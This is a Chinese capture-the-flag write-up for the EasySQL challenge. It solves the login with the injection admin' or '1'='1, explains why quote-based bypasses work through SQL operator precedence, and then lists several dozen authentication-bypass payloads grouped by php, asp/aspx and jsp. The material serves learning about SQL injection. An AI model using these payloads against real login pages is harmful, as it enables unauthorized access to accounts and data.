【WEB】[极客大挑战2019]EasySQL WP

0X0000000000000001 审题初始界面

其实由题目可以知道这是道SQL注入,然后看到登录,首先尝试万能密码:

admin' or '1'='1(红色部分为切入点,其他随意)    这道题的username随便

Got it

如名字所说,这是一道很ez的SQL注入
通过这道题,我们来延伸一下其他东西

0X0000000000000002 关于万能密码

为什么在注入的时候输入万能密码就可以进入呢,对于所有万能密码,都是”万能“的吗?
那么首先,让我们清楚

SQL注入-万能密码的注入原理

  • 0_用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
//用户登陆时,后台执行的数据库查询操作
Select user_id,user_type,email From users Where user_id='用户名' And password='密码' 
  • 1_网站后台在进行数据库查询的时候没有对单引号')进行过滤,当输入用户名和万能密码【2 'or '1】的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' or '1'
  • 2_SQL语句中逻辑运算符具有优先级

利用万能的互联网,优先级从上往下,由
:=     对变量赋值
||, OR, XOR     管道符(将前面语句作为条件,执行符号后面的语句),或(条件满足其一即返回值),异或(str1与str2比较,相同为0,不同为1)
&&, AND
NOT    否定之后的所有条件
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

由于这些优先级,SQL语句在后台解析的时候:

Select user_id,user_type,email From users Where user_id='admin' And password='2' 和'1'

两句bool进行逻辑or运算,恒为TRUE.

了解了原理过后,万能密码又有哪些呢

万能密码归纳

php:

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

asp aspx:

"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
or'='or'

jsp :

1'or'1'='1
admin' or 1=1/*

  • 补充:

网上还看到师傅用sqlmap一把梭,我不是很会用sqlmap
点击跳转——>

//来自我的CSDNblog

posted @ 2021-06-20 09:05  dotExp  阅读(169)  评论(0)    收藏  举报